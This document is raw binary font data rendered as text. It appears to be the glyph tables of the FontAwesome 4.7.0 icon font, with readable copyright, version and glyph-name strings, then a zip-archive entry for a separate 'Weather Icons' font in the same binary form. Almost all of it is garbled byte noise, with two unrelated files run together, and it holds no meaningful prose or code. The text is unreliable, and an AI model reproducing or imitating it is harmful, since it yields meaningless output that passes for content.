    A  #"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu
+I\Gw\B!al݇yǙV/]:=B>9+<F+a[lePn[A&JR7t)+tHkFIK      e	    .    #"'&'>32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632 ?c'p& ?b1w{2V	?#&#9&CY'&.&#+B
: &65&*2w1GF1)2<)<'

(
BH=ӊ:NT :O	)4:i F~b`e!}U3i?fRUX|'&'&Ic&Q
	*2U.L6*/L:90%>..>%b>++z7ymlw45)0	33J@0!!TFL P]=GS-kwm	!*         (  %6&692?  $&6$ 	' al@lLlL,&EC
h$LlL          / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&5467534&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dd<M- PppP -Mǅ9            	  + / 3 7  %"&54624&'4&" 67   54746 #5#5#5ppppD<pp<D

PppPOqqOM- PppP -Mǅ9         & . 6 > F N V ^ f n v ~      "/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4



R

,H8Jfj QhjG^R,

!4&&4&Z4&&4&4&&4&4&&4& &4&&4 4&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&



R

,[cGj  hQRJ'A,

&4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4        % - 5 = E M }           +"&=#!"'+"&=&= "&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2 "&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?A A?@@R...R@`jlL.h)**$	%35K.....uvnu....@@jN **.t2#K5..R..R.        @ H q   '&'&54  &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k]
:Buq
CA
_kނXVobZZbnW |V	0 	Q2-
l}O		/	:1z	
q% zG
4(

6Roaą\<

)4	J}        %!!#!"&5463!2    ^B@B^^BB^ `@B^^BB^^       %#!"&=463!2 ^B@B^^BB^B^^BB^^           &  ))!32#!#!"&5463!463!2      `B^ ^B^B@B^^B`^BB^   ^B @B^B^^BB^`B^^       # 3  %764/764/&"'&"2?2#!"&5463!2














s^B@B^^BB^ג














@B^^BB^^     # ' 7  "/"/&4?'&4?62762!!%#!"&5463!2














   ^B@B^^BB^














 `@B^^BB^^          	!  $&6$ .2r`LlLf4LlL         # . C    &>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$ (4Z##&##&y"6&.JM@& "(XE*$+8
jT<l$3-V<2'.
-1%#e"!Z
+*)H	 8(j	#*-ƷVv/kh?'MlM$($R#&"#'#vZ@+&MbV$

G7--)

R2T
313dJ6@8lr2_5m/."G:=	)%5f0gt*2)?;CB66&, 	`48]USyLlL         G  6?>?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1/Dx] VFIq-HD2NK'>*%R=f07=.fD]\|yu       , 0 > S e u  #2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2		<	zzjk-L+ )[$8=".un/2 ^B@B^^BB^5cy	

(ݔI(8?C(3> #"($=@B^^BB^^     0K    S   &'.'&' ./674&$#">&>?>'76'#  "&#./.'7676767>76$w.~kuBR] T%z+",|ޟj<)(!(	~ˣzF8"{%%#5)}''xJF0"H[$%EJ#%.Gk29(B13"?@S)5" #9dmW";L65RA0@T.$}i`:f3A%%
BM<$q:)BD	aa%`]A&c|	Ms!
Z2}i[F&**
< ʣsc"J<&NsF  %  0 @ W m  6&'.6$.7>7$76".4>2.,&>6 '"'&7>=GV:e#:$?+%
q4g
&3hT`ZtQмQQмpAP1LK!:<}҈`dlb,9'

%%($!a3)W)xоQQоQQcQǡ-җe)Us2XD\ϼYd           / ? O _ o      #"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(8 0pp00pp00pp00pp00pp0          @(88((88          / Q    /&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'%%6272Gf!)p&4&p)!fG272	*6	"472Gf!)p&4&p)!fG272"	6*	!k3j&3
%,*&&ր*9%
3&j3k!./!>>$,*!k3.j&3
%Ԝ9*&&ր*ǜ,%
3&j3k!*,$>>!/.           &  6.'&$	&76$76$PutۥiPuGxy
Զ[xy
-_v١eNuv١e	 =uʦ[t78X       
    & 6  ##'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL  &Z X b l w          .'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&> '.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-$	6)j2%+QF)b3FSP21DK2AW")")$??8A&AE5lZm=gG2Sw*&>$5jD GHyX/4F r	1	1""!l=6>	6
,5./'e
.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     N\ʅEo    fonts/weathericons.eotnu [                              LP                       \8                   W e a t h e r   I c o n s    R e g u l a r   x V e r s i o n   1 . 1 0 0 ; P S   0 0 1 . 1 0 0 ; h o t c o n v   1 . 0 . 7 0 ; m a k e o t f . l i b 2 . 5 . 5 8 3 2 9   * W e a t h e r   I c o n s   R e g u l a r            FFTMp/     GDEF$   8    OS/2td  X   `cmap:    cvt 	+  d   fpgmS/    egasp        glyf y   kheadY% p   6hhea	 q0   $hmtxFr"j qT  loca6 u  maxp v    namen w  postSa z  	prep+ X   .webfU           =        S8                          2   2   9                           UKWN @                                                    
 / _%>N^n~        / _% !@P`pd߲                                                                                                                                                                                                                                                                                                          x z D   , KLPXJvY #?+X=YKLPX}Y ԰.-, ڰ+-,KRXE#Y!-,i @PX!@Y-,+X!#!zXYKRXXY#!+XFvYXYYY-,\Z-,"PX \\ Y-,$PX@\\ Y-, 9/-	, }+XY %I# &J PXea  PX8!!Ya  RX8!!YY-
,+X!!Y-, Ұ+-, /+\X  G#Faj X db8!!Y!Y-,  9/  GFa# #J PX# RX@8!Y# PX@e8!YY-,+X=!! ֊KRX #I  UX8!!Y!!YY-,#  /+\X# XKS!YX&I## I#a8!!!!Y!!!!!Y-, ڰ+-, Ұ+-, /+\X  G#Faj G#F#aj` X db8!!Y!!Y-,   %Jd# PX<Y-, @@BBK c K c  UX  RX#b  #Bb #BY @RX   CcB CcB ce!Y!!Y-,Cc# Cc#-        D  dU   . /<2<2  /<2<23!%!!D $hUD               1  	  {7  7 s         +Z3ͰT2/
Ͱ /5Ͱ25ͰN/ͳ&N+0ͳN+ͰG/kͳkG+i3gͰ//ְͰ2+$Ͱ$+Ͱ+cͰc_ QͰQ/_Ͱc+ͱ+CE992@&)4GUWXkty$9$|9JMi$9TNg$9Q9_a9c9$9999 
999995 #9990*,2:=Q_q$9N$)>@a$9&AK99CDJ$9n9Ec$9G9gk99uy|$9t$90153!2"'&#"3264&#!"3!264&#"32762#!"%;27>?2576$32;2#!"3!2>54'654$#"&#"  32654/&"632&+&26=4&"?654&"327654/&#";264&+"&s)??R $&4Uuvv&8&vwyP1'&T==*n&8
$_8ː -y/)hA'(3FLs7$&5L66L5PL6LRD " D$(6%&67%&Z&<V> 3LU7#QN1<V>7Wq7>ɎvbA ƇJE1(&Emh[%33%&66&4'&%6%E%#E5L6J7   
  !   X g w         +?3Ͱ92]/eͰ/Ͱ23/$3ͳ3+Ͱ,/QͳzQ,+O3LͰ/Ͱu2m/ְͰ}+HͰ6 DͳH}+ͰH+ͱ+93zL$9}69DF9999 9999936DFW$9(/999T9)}H$9z,x9m9990153!2654&#!"3!264&#!"7;27>73257>32;2#!"3!2>54'654$#"&#" 3!2654&#!"32654/&#"632&+&326=4&#"32?654&"27654/&#";2654&+"FH&55&*N&&66&%<)^:~sΏ!ߐ.|uO0)L%%43&&4D&)3E"(6<j1 .#5%(12'%5M,+5LUF'4'D'&h#$54%'6^'7&%33BL5L6Uo<rj<̌tbĖ_VE"ǈj&5%(55(F3(%E5eۜkV&21''56&2'*%5NC&%AG'6&$11   3  6 E Q _ p ~    +4Ͱ-/ 3PͳP-+Ͱ&/ͳH&+3ͰU/\/ ְͰ7+?Ͱ?R+XͰXK+Ͱ	 0Ͱ0/	Ͱr+xͱ+7$99?&99R),F$9X-HP$9K0M9	9`9xrdli$9 -4	 u}$9#)M999P9$K$9H&F9d9U7;?`$9\Cil999013!2>54'654.#"&#" 46?2576$32;2#!"&7264/&#"632&+&326=4&#"32?654&#"2654/&#";264&+"-zXr|1㶳5 ˎ}F(!4?$'6:o6"(!2&)23(&2M" "4%&UEL3E#&g'%11%&jkrϖXF)⹆:>̌'D7NF5kܞd`)22)&22&1)'&4LC5($ElJ2L5 
  =   L [ k w       +ͰQ/YͰ/Ͱ2/%3vͳv2+Ͱ+/FͳnF++D3BͰ{//\ְdͰdx+~Ͱ~q+=Ͱ=+ͱ+d\F+99x.1Dl$9~2nvB$9q5s999=9;$9U$9999 99992$7;$9(.s999vI9)q=$9n+l9BF9{\ad$9i9990153!2654&#!" 3!2654&#!"';27>?2576$32;2;2/654.#"&#" 3!2654&#!"32654/&#"632&+&326=4&#"?654&#"327654/&#";264&+"6(&66&4(6%%32&3&(&[:g)
yXr1a&%65&1&6E#$7D&'17l4$-%3%(68&%3J;H4%&VD$! E$&j'%33%&5U%33%&55MJ5&%3Sj6>n[;qΖXCKc&6&%11&D5'&A5lޜhX%33%%65&3$99(%4LE($FF'5L45      E ; H X h x           2=4#.546?2576$32;2"36 54'654$#"&#" 676&'&3276&'&327>.654/&#"327676&'&%327676&'&73276&'&632&+&326=4&#" 6?654&#"32764/&";2654&+"*9(,~29! G" ER
@3o)&#An"
# @"AE !AD$'4"" "$&Ap"
$ $DM!!>n&$&=mrk7!/'6&%33%&6PK7&#;F)&EJ5&&76'(6
͋;>͌5w_ɗF*V#"#D$1EW'A#$
#GF3	#(E;'&D42
0&?
"%l$!!#A$/
AS%@
"%gۜda&66&&66&WN(&6$CLB6&6&%33      ^5 < M \ h u   8   +'3ͱ"B22/Ͱ/gͳg+Ͱ/7ͳ_7+533/ ְͰN+UͰUi+oͰob+.Ͱ *Ͱ.+ͳ+Ͱ/ͱ+N:=>K$9U7M999i5@EC]$9o$%"_g3$9bd9*,9.v9y99~999 LM999	!99 *,FG$9d999g:9b.$9_]937Ry9901 2=4#.546?2576$32;2"36 54'654.#"&#" 36&+6#!";7654/&#"632&+&326=4&"32?654&#"32654/&#";2654&+")8;'2Yq1  7
FC>D$%6:m6!+ 3(&22L5L:(5&#WE$&5B$%g%&67%%7
ǈ6>ʎ4lqrϖXB)E'(E33'%E6mޞa`(43)&22&/%6&'4JF6($FH#3%&66     u7 ; K W g x            2=4#.546?2576$ ;2"36 54'654.#"&#" 6?6&'&3264&#"76?6&'&32?6&'&7654/&'"32654&"76?6&'&232?6&'&2654&"723276?6&'&632&+&326=4&#" ?654&#"327654/&";264&+"$8 ^̼$)|Xr1;#!%?%%$@
R#&55&%1A #!C&'#A{"#E
&%"B<FGC&%4$&22L2B! %>%&#B' !A%$(A
OL22L2A"#!

#$%?%j9!-)1&'67&%2M9H5&%;A !  EJ%%33%&8
ǋ;>͐0ljqϖYF)X6
-A$?&&?	*#3J32/
#%`'=$#b3
A?)@%$?	zLD%&E$42&%224
 ,`#@'%`1
F@"B
%&?6%2%&221

'`$?"%ajٜj^%11%%65&ZP99(&5JC&$Ae&6L56      fF @ M ] o          ?"&546?2576$32;267>54'654.#"&#" 676&'&676&'&327676&'&7676&'&654/&#"327676&'&632&+&326=4&#" ?654&#"327654/&#";2654&+"֨}̵4̵N
O̓~-~Zr/%#H!#GNM7#""#I PJD>A!!AE&'6:"
$"#Iq7$,!5&'67&%6SK7%#;F &F%'j&&66&&4/
ϑ:?ˎ	J
!scqЖZF)##!C#)#-M
#"#H"$	 . I	U'F:'$E4###G"gۜj\%33%%65&VL'&7LC$&BM&7&%33    
  > ; L ^ m         +'3Ͱ"2/3ͳ+Ͱ/6ͳ6+432Ͱd/l/ ְͰ<+2CͰC`+gͰg+Ͱ+.Ͱ *ͳ.+Ͱ2Ͱ/.+ͱ+6=f +
]\UV=X +
~}vw UV\]vw}~........UV\]vw}~........@<999C99`M9g6RE$94n$9$%"2$99*,9999 9@	 *,HZ{$999999.$992699ld$901 2=4#.546?2576$32;2"36 54'654$#"&#" 3276&'&32676&'&32654/&#"32676&'&632&+&326=4&#"?654&#"32654/&";2654&+")8)-}1@##?'%#A '
. 
#$%A
 -E#"8D#'W!!	1
#$&?
q7#-&6&%32&(4NI5'!WE$$4BJg&&66&&
͋:=̌5scƘF*m3
Ds&B$$3%!%?$$G	gLF2&'E1
%s%?$$"kݞda%32&)45(2'('4LC4'&FnL6%&7     5 = M \ p ~           2=4#.546?2576$32;2"3>54'654.#"&#" 6?6&'&6?6&'&23276?6&'&764/&#"6?6&'&26?6&'&26?6&'&632&+&26=4&"32?64&"3276&/&#";2654&+")5̿,yXr/B"E%$(@D#B$$'@ $"%$%A
1F6GC&%6_"!%>#$(A)?1

'%!B! 0$$%?
 #j2$+3P33P3P!!!4JTB!!E#&g4$)45(%3ˋ9=̌r_rϖXD)}8
#)p!C
&&j=#'n!B
%%m61j%A
%$m	+(E66JF56
 ,l%A'%n<"$l&A%$m
3	&j&?
#$qfݝZb(33((44(4(L4JD!!IFG$42&(46      0 < F R a n y          2=4#.546?2576$32;2"36 54'654$#"&#" 2654&"32654&"64/&#"32654&#"3264&#"3264&#"2654&"32654&#"632&+&26=4&"?654&#"32654/&";264&+"8(.~13J33J3"&23J3F!@D&(6y$&55&$44$&55&$4#&55&#5X4J33J4$&23%&3hn6"/'6L23J7LG7%#VD'!5BJ4'%66%&8ˆ6>͎2y`ɖF,&66&$44Y!2%&22('F9NA5B$4&%55[$43J44#2L56.&66&$44Y"2%&23Vjޛd`%22%&67%4%%&6(C7&$E5{&6L56   
  0 = L Z k w     9   +(3	Ͱ#2/3ͳ+Ͱ/8ͳz8+634/ ְͰ>+DͰD[+aͰM Tͳra[+lͰl/rͰa+Ͱ}+0Ͱ  ,ͱ+>;999MAI99l[8X999rT^egot$9a69x999%&#z4$9} 9,.909 	[a99@ ,.AIeglor$9t$9;9}0$9zx948Q99012=4#.546?2576$32;2"3>54'654$#"&#" 32654&'&'764/&#"32654'&'&'32654'632&+&26=4&"32?654&#"327654/&#";2654&+"8,| 1vZ?@VK "	&+H	EC>D#'44ghVJ>9OW=+):c1hj7#.'7J21L6L %6&#VE('A%&3'&56%&8ˊ:>̋v_ȗF*=VU>'&$	+.N)F22JE6ifV|a>	4iyg(::(Bi Ukjܝ^f&66&&22&0'%'4(>$#E4z$3%&56    	  q	  ( 7 R a o |   /PͰI/^Ͱ/3Ͱ2B SͰV/Ͱe/l/ְ8Ͱ28 Ͱ /8b+hͰhL+ͰY+ͳ}Y+p3Ͱw2+ͱ+8)9b#&05HST$9hIV^$9L\99}|9{999 Ptw99I;q{$9^&@F\$9S $Y$9V-99e0}99l)5$901;2654&+"3!2654'654.#"7654/&#"46?257>32;2#!"&>32&#.#326=4&#" 7654/&"32?654&#";2654&+"</+=<,/<ܛf큯٩3yKK"(-7-VBB
[]	
EeeE$Hbm]^{/<=+,==,+=CSX9+,=,*</+=<,/<+89*.<;=M6Ufڮ$[&i-99-+ <C`	<\||\EdEHffp;N,==,*99*V DD-+- -,<0+89*.<;    
  p   - = H U a p    S/LͰ;/AͰ/3Ͱ2F/2Ͱ`/Z/ ְͰ.+>Ͱ>U+V2PͰ\2PC+7ͳq7C+b3yͰj27+ͱ+ 99.!)999>&99U;@99PF299C:A997fv~999 LSkm$9;bj999Af99.7>C$92F)~99`&qy$9Z!v9901476;2+"&4?632'&47632#"/&4$32 $7 654&#"4632"&55462"&47632/&4?632#"&476;2+"$%11%%61'&3AB%#3&'pΕX  8ݜ5&'45L56J65L5M$'@@#&5#$0#%77%%'6L56B%0%'33%'&3EYp  ݜ)&44&'66'I%66%%11%J22(6%(3L7J6   C J ] m }         ;36&+6#!".546?2?6$32;2"3>54'654$#"&#" 3276?6&'&654/&#"6?6&'&3276?6&'&76?6&'&632&+&26=4&" ?64'&#"327654/&#";264&+"թF

rs6ο.zsO1i" 	"
&&!BE"!@C&(6v #"A '&$A.% $$%A##& 
%&$@k2!/$5L33L5SI&%:E%#B$&5'&65''5/?\y??͎ubŘ`UE)%4
0n(?&$o	=%F:'%F41
#*n#A%&p"4l&?
$$o3
	/k(?#$qg۝iX&65''56&WNL%C&%B7'5L33 	  ; H Z i ~       ;36&+6#!".546?2576$32;2"36 54'654$#"&#" 32676&'&7654/&#"327676&'&632&+&326=4&#" 2?64&#"2327654/&#";2654&+"ҩD	
rr8;).~1_!!6	
"#%A
#DLC%(d! 
$$%?
k7!1)7%&22&%7NK6&#:F&E$%5$%76&(3[?w6>ʏ4v`ɖE)I. "%?$$k	2LF(&F 1P&>$$gڜda%76&&66&XNL6$C&%A6J7&%3     z	}
  9 p    +[3ͰU2/Ͳ
+ 	+7/!ͰP/eͳ1eP+'Ͳ'1
+ '+	+I/hq/ְͲ
+  	+ 	+%+4Ͳ%4
+ %	+ %-	+4S+`ͱr+EG99%IVXYh$9S4LUe999 9!74S99'<?R`n$9P3@B9991CM99eEFLk$9IG90154763!2"'&46322654&#!"&4763!264&#""&547632#!"&;27>?2576$32;2#!"3!2>54.+& #" $BvT1(% T>>*%6$e*>>*,N1Q|ww&5
$^8ϑ!2/)Z(vwTN3=,*=5j'>V=1'(Q3!Wr7? ǈ      	   T b W   +>3Ͱ82`/YͰ/Ͱ2/IͰ+/Lc/5ְDͱd+ 2$5DR$9I(.%O$9+)9015463!2#!"&4763!2#!"&;27>?2576$32;2#!"3!2>54.+& #" 4763!2#!"&6(&23%C(6(%11%@%7B
$]: Ў!lōT!4/)z''56&A%6W'43(&33l&2L67Wr7?̑SkŊs'3L66      	B  - P    +ͰE/@Ͱ/*3	Ͱ%/ͳL%+:Ͱ6/OQ/ ְͰ+Ͱ=+HͱR+	/6O$97999=BCL999 E99@ F999+,$9	"'=H$9:#9L23499960199014676$3232  #!".73!264&+"5'. #76 32"3>54&+&$#"ƛ)*½),
"\zH|||0sE.a
ha*Ɵ#Hz\z4Ȗ-
.\Dg`y
꠩   
Q   J Y T   +ͰW/OͰ/Ͱ3/&3?Ͱ,/BZ/ְHͱ[+ 3%89HI$9?)/E999,*9015463!2#!"&4763!2#!"&;27>?2576$32;2;2'&$+& #" 54763!2#!"&6((35&9(6'%22%8&5
&Z;g)/"51((&56%7%7V'43(%22t'3%&56#Sj5=n[ e&2%&67     8 E W g {     +'3Ͱ"2/30Ͱ/3/ ְͰ9+D2>ͰF LͰ>X+h pͱ|+++ͱ+6= +
L.MVU=V +
 LMUV........MUV.......@96E$9F9XLR9ph3^b$9|v9$%0r$9 F99 +Rv$906999901 2=4#.546?2576$32;2"3>54.+& #" 676&'&676&'&#"327>.327676&'&#"%327676&'&32767654&'&#")9ꇎ"41E" E# CP!!F`
%&1
^"
# ?#NC!
!$3n"
" $CM" `! 0	`
̋9>̌)H""#C$/!/i(? #FF2 ;0&>
 \'"#@$ 2
)d0	         !  36#!6#!"3!36&+6#!";*?#j%<-&>E2     
  u  7 G S d u     o   +'L333ͱ"Q22j/pͰ/;3ͰB2z ͰV/Ͱ^2/3/Ͱ/2/ ְͰH+OͰO> 8Ͱ8/3>ͰOZ TͰT/ZͰOv+}Ͱ}l eͰe/lͰ} Ͱ/3Ͱ Ͱ}+Ͱ Ͱ/Ͱ2+*ͱ+6>% +
.l.lt>d +
lml+tst+++st  #9ml999 @lmst£............@	mst£.........@8599H99>TQLa999O@9vj\999lz9}29999999$9$9$%/$9 zpq98}v$999C99HN$9VX$9a99 *_$9/5999901 2=4#.546?2576$32;2"36 54.+& #" 6?6&'&3264&#"76?6&'&32?6&'&32654&"76?6&'&232?6&'&32654&"723276?6&'&*µ8'!51A#!%>$%$A
Q#&44&%2A!#!B&'#A|!#D
&%"BS#&22L2C  %>%&#B&!!A$$(A
O%&22L2A##"

$$%>
ˇ5>Ύ1ԏ.Y6
-A$?&&?'"3J32/
#%`'=$#b2
A?)@%$?,#2&%224
 ,`#@'%`2
F@"B
%&?6$2%&221

&`$?"%a      g ? N b s    /ͳp+iͰ/6Ͱ/9/ ְ	Ͱ	@+d+tͰt+0ͱ+d@=HOQ$9tTi99@&-69X\n}$9 ic9pqE999@ *0@KT\$96=999901?"&546?2576$32;2"3276 54.+& #"676&'&73276'.#"327676&'&73276=.+327676'&/Ѩ|ʴ8ʴ!+*Sl"5ߕi!#H#$B$$3	%R"%"#I:$2%0w#$"&#3̐;>ʏL%0lčT(
""#D$$#'*".&"#H"#/#/#$*#,!
"      7 L _ u 5  +30Ͱ2/)3	Ͱ#/v/ ְ-Ͳ- 
+@-3	+-+Ͳ
+@	+w+6>k +
:;DC= +
MNWV= +
bcon @:;CDMNVWbcno............@:;CDMNVWbcno............@-	8`k$9 0569 *>Qf$9	 &999#!901476 32 32"=43>&+"5'&$#"#2#& 47>32#"'&#.	>32#"'&'&47>32#'.2^Y4"Ў8;
1&'D	#"2#"
2 	/!!0 ")֋>9Ą
2g @'D
3 
?%W&"Rg 	0%	3     : N c u   ' 6  +31Ͱ2B  +3HͰ2@  +v  +/*3	Ͱ$// ְ.Ͳ. 
+@.4	+.O+R2^Ͱ^+Ͱ+Ͳ
+@	++6= +
<SF]>0 +
eyo= +
.<=<S+><S+?<S+FEF]+<R<S+F^F]+= +efey+hey+ono+exey+oo++=<S  #9>9?9EF]9fey9h9x9no999 @>?EFRS]^hnoxy<=ef........................@>?EFS]hnoxy<=ef.....................@O.';H$9^[d99$qv$99	!$9 1BA9 +V`{$9	 '999$!901476 32 32 "=43>54&+"/.#"#2#.4657>#".#.4657>323'.4657>#"'.4?>#"'.4?>#"'.4?>6#"'./\[5$̎t8iPB?%$&<"" 
0	$%@%##
A%$$D##A%$$9##-A#%'
D " 2#<
!! )؍Ɉ=ri:ƈVn$%?%lF
5p!?%k,%
4j&'A%oA5	n$%
?&jH1j&'
A#qA5n"!!*nE
/      7 A J U ` l w   O  +TͲ5  +?u3330Ͳ:o222j/eͰJ/3FͰ{2_/ZͰ/)3	Ͱ#// ְ-Ͳ- 
+@-3	+-8+B2=ͰG2=a+KV22hͱQ\22hm+x2rͰ}2r+Ͳ
